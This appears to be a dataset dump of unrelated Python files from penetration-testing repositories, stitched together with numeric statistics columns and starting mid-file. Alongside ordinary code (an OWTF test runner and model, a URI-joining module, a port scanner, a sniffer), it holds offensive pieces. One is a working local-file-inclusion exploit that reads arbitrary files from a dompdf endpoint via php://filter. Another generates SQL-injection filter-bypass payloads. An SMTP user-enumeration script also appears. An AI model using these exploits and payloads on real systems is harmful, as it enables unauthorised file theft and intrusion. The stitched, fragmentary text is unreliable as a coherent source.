PRIMARY KEY (id)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;''',
f'''CREATE TABLE IF NOT EXISTS {config['mysql-database']}.calledbacks (
id integer AUTO_INCREMENT,
requestid integer NOT NULL,
request text NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(requestid) REFERENCES requests(id)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;''',
)
for query in initQueries:
databaseInstance.query(query)
databaseInstance.databaseConnection.select_db(config['mysql-database'])
Logger.ok('Database initialized.')
def fetchRhost():
global config
config['server-remote-addr'] = socket.gethostbyname(socket.gethostname())
def main(argv):
global config
fetchRhost()
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if CONFIGURATION_FILE:
config.update(json.loads(open(CONFIGURATION_FILE).read()))
if not connectToDatabase():
Logger.err('Could not connect to database: {}'.format(config['mysql-host']))
sys.exit(-1)
initDatabase()
Logger.dbg('Local host\'s IP address (RHOST) set to: {}'.format(config['server-remote-addr']))
for port in config['listen-on-ports']:
try:
server = HTTPServer((config['listen'], port), PingbackServer)
server.server_version = 'nginx'
except OSError as e:
Logger.err(f'Could not server on port {port}: {str(e)}')
Logger.warn('Skipping...')
continue
#return
if port == 443:
try:
server.socket = ssl.wrap_socket(server.socket, keyfile = config['server-key-file'], certfile = config['server-ca-cert'], server_side = True)
except ssl.SSLError as e:
Logger.warn(f'Could not serve HTTPS due to SSL error: {str(e)}')
Logger.warn('Skipping...')
continue
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
Logger.ok('Serving HTTP server on: ("{}", {})'.format(
config['listen'], port)
)
try:
Logger.info('Entering infinite serving loop.')
while True:
pass
except KeyboardInterrupt:
pass
if __name__ == '__main__':
main(sys.argv)
| 33.046377 | 213 | 0.6 |
Penetration_Testing | #!/usr/bin/python
import socket
import sys
# Sends VRFY queries to SMTP to verify if a user exists
def smtp_verify(ip, user):
# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the server
connect = s.connect((ip, 25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + user + '\r\n')
print "[*] Attempting to verify existance of user:", user
result = s.recv(1024)
print result
# Close the socket
s.close()
def main():
if len(sys.argv) != 3:
print "Usage: ./smtp_verify.py <IP address> <users file> \n"
sys.exit(0)
ip = sys.argv[1]
user = sys.argv[2]
with open(user, 'r') as f:
for line in f:
user = line
smtp_verify(ip, user)
main()
| 17.170732 | 62 | 0.651882 |
cybersecurity-penetration-testing | import threading
import time
import socket, subprocess,sys
from datetime import datetime
import thread
import shelve
'''section 1 '''
subprocess.call('clear',shell=True)
shelf = shelve.open("mohit.raj")
data=(shelf['desc'])
#shelf.sync()
'''section 2 '''
class myThread (threading.Thread):
def __init__(self, threadName,rmip,r1,r2,c):
threading.Thread.__init__(self)
self.threadName = threadName
self.rmip = rmip
self.r1 = r1
self.r2 = r2
self.c =c
def run(self):
scantcp(self.threadName,self.rmip,self.r1,self.r2,self.c)
'''section 3 '''
def scantcp(threadName,rmip,r1,r2,c):
try:
for port in range(r1,r2):
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#sock= socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
socket.setdefaulttimeout(c)
result = sock.connect_ex((rmip,port))
if result==0:
print "Port Open:---->\t", port,"--", data.get(port, "Not in Database")
sock.close()
except KeyboardInterrupt:
print "You stop this "
sys.exit()
except socket.gaierror:
print "Hostname could not be resolved"
sys.exit()
except socket.error:
print "could not connect to server"
sys.exit()
shelf.close()
'''section 4 '''
print "*"*60
print " \tWelcome this is the Port scanner of Mohit\n "
d=raw_input("\t Press D for Domain Name or Press I for IP Address\t")
if (d=='D' or d=='d'):
rmserver = raw_input("\t Enter the Domain Name to scan:\t")
rmip = socket.gethostbyname(rmserver)
elif(d=='I' or d=='i'):
rmip = raw_input("\t Enter the IP Address to scan: ")
else:
print "Wrong input"
#rmip = socket.gethostbyname(rmserver)
r11 = int(raw_input("\t Enter the start port number\t"))
r21 = int (raw_input("\t Enter the last port number\t"))
conect=raw_input("For low connectivity press L and High connectivity Press H\t")
if (conect=='L' or conect=='l'):
c =1.5
elif(conect =='H' or conect=='h'):
c=0.5
else:
print "\t wrong Input"
print "\n Mohit's Scanner is working on ",rmip
print "*"*60
t1= datetime.now()
tp=r21-r11
tn =30
# tn number of port handled by one thread
tnum=tp/tn # tnum number of threads
if (tp%tn != 0):
tnum= tnum+1
if (tnum > 300):
tn = tp/300
tn= tn+1
tnum=tp/tn
if (tp%tn != 0):
tnum= tnum+1
'''section 5'''
threads= []
try:
for i in range(tnum):
#print "i is ",i
k=i
r2=r11+tn
# thread=str(i)
thread = myThread("T1",rmip,r11,r2,c)
thread.start()
threads.append(thread)
r11=r2
except:
print "Error: unable to start thread"
print "\t Number of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total
print "\n*****Thanks for using Mohit's Port Scanner****"
print "You can update database file"
print "use command python > python updata.py"
print "Give feedback to mohitraj.cs@gmail.com"
| 23.160305 | 87 | 0.604298 |
Effective-Python-Penetration-Testing | from PIL import ImageGrab
import time
time.sleep(5)
ImageGrab.grab(bbox=(10,10,510,510)).save("screen_capture.png", "png")
| 19.833333 | 70 | 0.741935 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import subprocess
import datetime as dt
import sys
import chardet
import psutil
"""
process = psutil.Process(1)
print(process.status())
print(process.username())
"""
class SP():
def execute(self,command=[]):
try:
p=subprocess.Popen(command,
shell=False,stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
print("ID of spawned process is :"+str(p.pid)+"\n")
out,err=p.communicate()
result = chardet.detect(out)
out=str(out).encode('ascii')
out=out.decode("utf-8")
splitted=str(out).split("\\n")
for o in splitted:
print(o)
#print(dir(process))
except Exception as ex:
print("Exception caught :"+str(ex))
obj=SP()
obj.execute(["ls","-l"])
| 20.545455 | 54 | 0.66338 |
Penetration-Testing-Study-Notes | import requests
import re
import base64
while True:
file = raw_input('$ ')
resp = requests.get("http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=" + file)
print resp.text
m = re.search('(?<=\[\().*?(?=\)\])', resp.text)
try:
print base64.b64decode(m.group(0))
except:
'file does not exist or no permissions'
| 22.1875 | 128 | 0.667568 |
cybersecurity-penetration-testing | subs = []
values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"}
originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#"
secondoriginalstring = originalstring
for key, value in values.iteritems():
if key in originalstring:
newstring = originalstring.replace(key, value)
subs.append(newstring)
if key in secondoriginalstring:
secondoriginalstring = secondoriginalstring.replace(key, value)
subs.append(secondoriginalstring)
subset = set(subs)
for line in subs:
print line | 35.266667 | 103 | 0.714549 |
cybersecurity-penetration-testing | import struct
ms= struct.pack('hhl', 1, 2, 3)
print (ms)
k= struct.unpack('hhl',ms)
print k
| 14.666667 | 32 | 0.655914 |
owtf | #!/usr/bin/env python2
"""
tests.runner
~~~~~~~~~~~~
Tests runner.
"""
import sys
from os import path as os_path
from sys import path as sys_path
import unittest
def include():
"""Include owtf/ in python sys path."""
framework_path = os_path.abspath(".")
sys_path.append(framework_path)
if __name__ == "__main__":
include()
from tests.suite.parser import get_suites
suite = get_suites(sys.argv[1:])
unittest.TextTestRunner(verbosity=3).run(suite)
| 16.888889 | 51 | 0.649378 |
owtf | """
owtf.models.transaction
~~~~~~~~~~~~~~~~~~~~~~~
"""
import base64
from sqlalchemy import Boolean, Column, Integer, String, Float, DateTime, Text, ForeignKey, Table, Index
from sqlalchemy.orm import relationship
from owtf.db.model_base import Model
# This table actually allows us to make a many to many relationship
# between transactions table and grep_outputs table
transaction_association_table = Table(
"transaction_grep_association",
Model.metadata,
Column("transaction_id", Integer, ForeignKey("transactions.id")),
Column("grep_output_id", Integer, ForeignKey("grep_outputs.id")),
)
Index("transaction_id_idx", transaction_association_table.c.transaction_id, postgresql_using="btree")
class Transaction(Model):
__tablename__ = "transactions"
target_id = Column(Integer, ForeignKey("targets.id"))
id = Column(Integer, primary_key=True)
url = Column(String)
scope = Column(Boolean, default=False)
method = Column(String)
data = Column(String, nullable=True) # Post DATA
time = Column(Float(precision=10))
time_human = Column(String)
local_timestamp = Column(DateTime)
raw_request = Column(Text)
response_status = Column(String)
response_headers = Column(Text)
response_size = Column(Integer, nullable=True)
response_body = Column(Text, nullable=True)
binary_response = Column(Boolean, nullable=True)
session_tokens = Column(String, nullable=True)
login = Column(Boolean, nullable=True)
logout = Column(Boolean, nullable=True)
grep_outputs = relationship(
"GrepOutput", secondary=transaction_association_table, cascade="delete", backref="transactions"
)
def to_dict(self, include_raw_data=False):
tdict = dict(self.__dict__)
tdict.pop("_sa_instance_state")
tdict["local_timestamp"] = tdict["local_timestamp"].strftime("%d-%m %H:%M:%S")
if not include_raw_data:
tdict.pop("raw_request", None)
tdict.pop("response_headers", None)
tdict.pop("response_body", None)
else:
if tdict["binary_response"]:
tdict["response_body"] = base64.b64encode(str(tdict["response_body"]))
return tdict
def __repr__(self):
return "HTTP Transaction (url='{!s}' method='{!s}' response_status='{!s}')>".format(
self.url, self.method, self.response_status
)
| 34.910448 | 104 | 0.663617 |
cybersecurity-penetration-testing | from ctypes import *
class case(Union):
_fields_ = [
("evidence_long", c_long),
("evidence_int", c_int),
("evidence_char", c_char * 4),
]
value = raw_input("Enter new evidence number:")
new_evidence = case(int(value))
print "Evidence number as a long: %ld" % new_evidence.evidence_long
print "Evidence number as a int: %d" % new_evidence.evidence_int
print "Evidence number as a char: %s" % new_evidence.evidence_char
| 27.4 | 67 | 0.689412 |
Effective-Python-Penetration-Testing | fields = {
'name' : 'sean',
'password' : 'password!',
'login' : 'LogIn'
}
opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor()
)
request = urllib2.Request(
"http://example.com/login",
urllib.urlencode(fields))
url = opener.open(request)
response = url.read()
url = opener.open("http://example.com/dashboard")
response = url.read()
| 18.166667 | 49 | 0.688953 |
cybersecurity-penetration-testing | # -*- coding: utf-8 -*-
from scrapy.spiders import Spider
from scrapy.selector import Selector
from pprint import pprint
from testSpider.items import TestspiderItem
class PactpubSpider(Spider):
name = "pactpub"
allowed_domains = ["pactpub.com"]
start_urls = (
'https://www.pactpub.com/all',
)
def parse(self, response):
res = Selector(response)
items = []
for sel in res.xpath('//div[@class="book-block"]'):
item = TestspiderItem()
item['book'] = sel.xpath('//div[@class="book-block-title"]/text()').extract()
items.append(item)
return items
| 24.625 | 89 | 0.636808 |
thieves-tools | from re import M
from bs4.element import Tag
import click
import requests
import webview
from bs4 import BeautifulSoup
import json
import os
def remove_html_tags(soup: BeautifulSoup, list: list):
for tag in list:
t: Tag
for t in soup.find_all(tag):
t.decompose()
def open_window(html: str):
window = webview.create_window(
"Cheatsheet", html=html, frameless=True, fullscreen=True)
def close():
window.destroy()
window.expose(close)
def addListener(window):
window.evaluate_js(
"document.addEventListener('keydown', (e) => { if (e.key === 'Escape') pywebview.api.close() });")
webview.start(addListener, window, debug=True)
def generate_window(query):
soup = BeautifulSoup(query.text, "lxml")
remove_html_tags(soup, ["iframe", "footer", "header"])
soup.find("nav").decompose()
soup.find("summary").decompose()
soup.find("div", {"class", "container"}).decompose()
open_window(str(soup))
@click.command()
@click.option("--name", "-n", help="Display a cheatsheet from devhints.io based on passed name")
def cheatsheet(name: str):
result = requests.get("https://www.devhints.io")
soup = BeautifulSoup(result.text, "lxml")
tag: Tag
options = {}
for tag in soup.find_all("a", {"class", "article"}):
item = json.loads(tag.attrs['data-js-searchable-item'])
if item['category'] not in options:
options[item['category']] = [item['slug']]
else:
options[item['category']].append(item['slug'])
if name and name.capitalize() in options.keys():
result = requests.get("https://www.devhints.io/%s" % name)
generate_window(result)
else:
categories: list = []
click.echo(click.style("categories", fg="blue"))
for i, option in enumerate(options.keys()):
categories.append(option)
click.echo(f"{i + 1}. {option.lower()}")
ans = click.prompt("category")
category = categories[int(ans) - 1]
click.echo(click.style("Options", fg="blue"))
opts: list = []
for i, option in enumerate(options[category]):
# opts.append(option)
opt = option.replace(category.lower() + "/", "")
click.echo(f"{i + 1}. {opt}")
opts.append(opt)
ans = click.prompt("option")
query = opts[int(ans) - 1].capitalize()
result = requests.get("https://www.devhints.io/%s" % query)
generate_window(result)
| 33.671233 | 110 | 0.602372 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenetrationTestingScripts | """RFC 3986 URI parsing and relative reference resolution / absolutization.
(aka splitting and joining)
Copyright 2006 John J. Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it under
the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt
included with the distribution).
"""
# XXX Wow, this is ugly. Overly-direct translation of the RFC ATM.
import re, urllib
## def chr_range(a, b):
## return "".join(map(chr, range(ord(a), ord(b)+1)))
## UNRESERVED_URI_CHARS = ("ABCDEFGHIJKLMNOPQRSTUVWXYZ"
## "abcdefghijklmnopqrstuvwxyz"
## "0123456789"
## "-_.~")
## RESERVED_URI_CHARS = "!*'();:@&=+$,/?#[]"
## URI_CHARS = RESERVED_URI_CHARS+UNRESERVED_URI_CHARS+'%'
# this re matches any character that's not in URI_CHARS
BAD_URI_CHARS_RE = re.compile("[^A-Za-z0-9\-_.~!*'();:@&=+$,/?%#[\]]")
def clean_url(url, encoding):
# percent-encode illegal URI characters
# Trying to come up with test cases for this gave me a headache, revisit
# when do switch to unicode.
# Somebody else's comments (lost the attribution):
## - IE will return you the url in the encoding you send it
## - Mozilla/Firefox will send you latin-1 if there's no non latin-1
## characters in your link. It will send you utf-8 however if there are...
if type(url) == type(""):
url = url.decode(encoding, "replace")
url = url.strip()
# for second param to urllib.quote(), we want URI_CHARS, minus the
# 'always_safe' characters that urllib.quote() never percent-encodes
return urllib.quote(url.encode(encoding), "!*'();:@&=+$,/?%#[]~")
def is_clean_uri(uri):
"""
>>> is_clean_uri("ABC!")
True
>>> is_clean_uri(u"ABC!")
True
>>> is_clean_uri("ABC|")
False
>>> is_clean_uri(u"ABC|")
False
>>> is_clean_uri("http://example.com/0")
True
>>> is_clean_uri(u"http://example.com/0")
True
"""
# note module re treats bytestrings as through they were decoded as latin-1
# so this function accepts both unicode and bytestrings
return not bool(BAD_URI_CHARS_RE.search(uri))
SPLIT_MATCH = re.compile(
r"^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?").match
def urlsplit(absolute_uri):
"""Return scheme, authority, path, query, fragment."""
match = SPLIT_MATCH(absolute_uri)
if match:
g = match.groups()
return g[1], g[3], g[4], g[6], g[8]
def urlunsplit(parts):
scheme, authority, path, query, fragment = parts
r = []
append = r.append
if scheme is not None:
append(scheme)
append(":")
if authority is not None:
append("//")
append(authority)
append(path)
if query is not None:
append("?")
append(query)
if fragment is not None:
append("#")
append(fragment)
return "".join(r)
def urljoin(base_uri, uri_reference):
"""Join a base URI with a URI reference and return the resulting URI.
See RFC 3986.
"""
return urlunsplit(urljoin_parts(urlsplit(base_uri),
urlsplit(uri_reference)))
# oops, this doesn't do the same thing as the literal translation
# from the RFC below
## import posixpath
## def urljoin_parts(base_parts, reference_parts):
## scheme, authority, path, query, fragment = base_parts
## rscheme, rauthority, rpath, rquery, rfragment = reference_parts
## # compute target URI path
## if rpath == "":
## tpath = path
## else:
## tpath = rpath
## if not tpath.startswith("/"):
## tpath = merge(authority, path, tpath)
## tpath = posixpath.normpath(tpath)
## if rscheme is not None:
## return (rscheme, rauthority, tpath, rquery, rfragment)
## elif rauthority is not None:
## return (scheme, rauthority, tpath, rquery, rfragment)
## elif rpath == "":
## if rquery is not None:
## tquery = rquery
## else:
## tquery = query
## return (scheme, authority, tpath, tquery, rfragment)
## else:
## return (scheme, authority, tpath, rquery, rfragment)
def urljoin_parts(base_parts, reference_parts):
scheme, authority, path, query, fragment = base_parts
rscheme, rauthority, rpath, rquery, rfragment = reference_parts
if rscheme == scheme:
rscheme = None
if rscheme is not None:
tscheme, tauthority, tpath, tquery = (
rscheme, rauthority, remove_dot_segments(rpath), rquery)
else:
if rauthority is not None:
tauthority, tpath, tquery = (
rauthority, remove_dot_segments(rpath), rquery)
else:
if rpath == "":
tpath = path
if rquery is not None:
tquery = rquery
else:
tquery = query
else:
if rpath.startswith("/"):
tpath = remove_dot_segments(rpath)
else:
tpath = merge(authority, path, rpath)
tpath = remove_dot_segments(tpath)
tquery = rquery
tauthority = authority
tscheme = scheme
tfragment = rfragment
return (tscheme, tauthority, tpath, tquery, tfragment)
# um, something *vaguely* like this is what I want, but I have to generate
# lots of test cases first, if only to understand what it is that
# remove_dot_segments really does...
## def remove_dot_segments(path):
## if path == '':
## return ''
## comps = path.split('/')
## new_comps = []
## for comp in comps:
## if comp in ['.', '']:
## if not new_comps or new_comps[-1]:
## new_comps.append('')
## continue
## if comp != '..':
## new_comps.append(comp)
## elif new_comps:
## new_comps.pop()
## return '/'.join(new_comps)
def remove_dot_segments(path):
r = []
while path:
# A
if path.startswith("../"):
path = path[3:]
continue
if path.startswith("./"):
path = path[2:]
continue
# B
if path.startswith("/./"):
path = path[2:]
continue
if path == "/.":
path = "/"
continue
# C
if path.startswith("/../"):
path = path[3:]
if r:
r.pop()
continue
if path == "/..":
path = "/"
if r:
r.pop()
continue
# D
if path == ".":
path = path[1:]
continue
if path == "..":
path = path[2:]
continue
# E
start = 0
if path.startswith("/"):
start = 1
ii = path.find("/", start)
if ii < 0:
ii = None
r.append(path[:ii])
if ii is None:
break
path = path[ii:]
return "".join(r)
def merge(base_authority, base_path, ref_path):
# XXXX Oddly, the sample Perl implementation of this by Roy Fielding
# doesn't even take base_authority as a parameter, despite the wording in
# the RFC suggesting otherwise. Perhaps I'm missing some obvious identity.
#if base_authority is not None and base_path == "":
if base_path == "":
return "/" + ref_path
ii = base_path.rfind("/")
if ii >= 0:
return base_path[:ii+1] + ref_path
return ref_path
if __name__ == "__main__":
import doctest
doctest.testmod()
| 30.162602 | 79 | 0.543379 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
interface = 'mon0'
ap_list = []
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==8)):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2
sniff(iface=interface,prn=info)
| 21.307692 | 53 | 0.602076 |